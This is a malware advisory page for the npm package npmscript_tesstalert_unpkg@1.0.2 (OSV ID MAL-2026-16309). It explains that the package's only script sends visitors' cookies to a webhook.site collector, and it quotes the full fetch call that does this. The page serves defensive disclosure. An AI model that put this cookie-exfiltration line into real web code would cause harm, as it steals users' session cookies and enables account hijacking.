Logo
npm

npmscript_tesstalert_unpkg@1.0.2

Vulnerability report · Last retrieved from osv.dev September 21, 2026 at 7:43 AM UTC

Malicious

OSV ID

MAL-2026-16309

Ecosystem

npm

Summary

The package ships a single browser JavaScript file declared as both main and unpkg, so any page embedding the package via the unpkg CDN loads this script. The script calls alert(11) and then executes fetch('https://webhook.site/c226090c-12b0-462e-81d2-e632c7a58833/', { method: 'POST', mode: 'no-cors', body: document.cookie }), POSTing document.cookie to a hardcoded webhook.site collector. There is no other functionality in the package. Any site that includes this script exfiltrates its visitors' cookies to the attacker-controlled webhook.site endpoint, enabling session hijacking.

Source: amazon-inspector (5fa1adfe349e0a6092589e90bf38184b5769148bf42b4216fc714ad446ea747b)

Protect your entire dependency tree

Scan your lock files automatically on every PR. Block malicious packages before they reach production.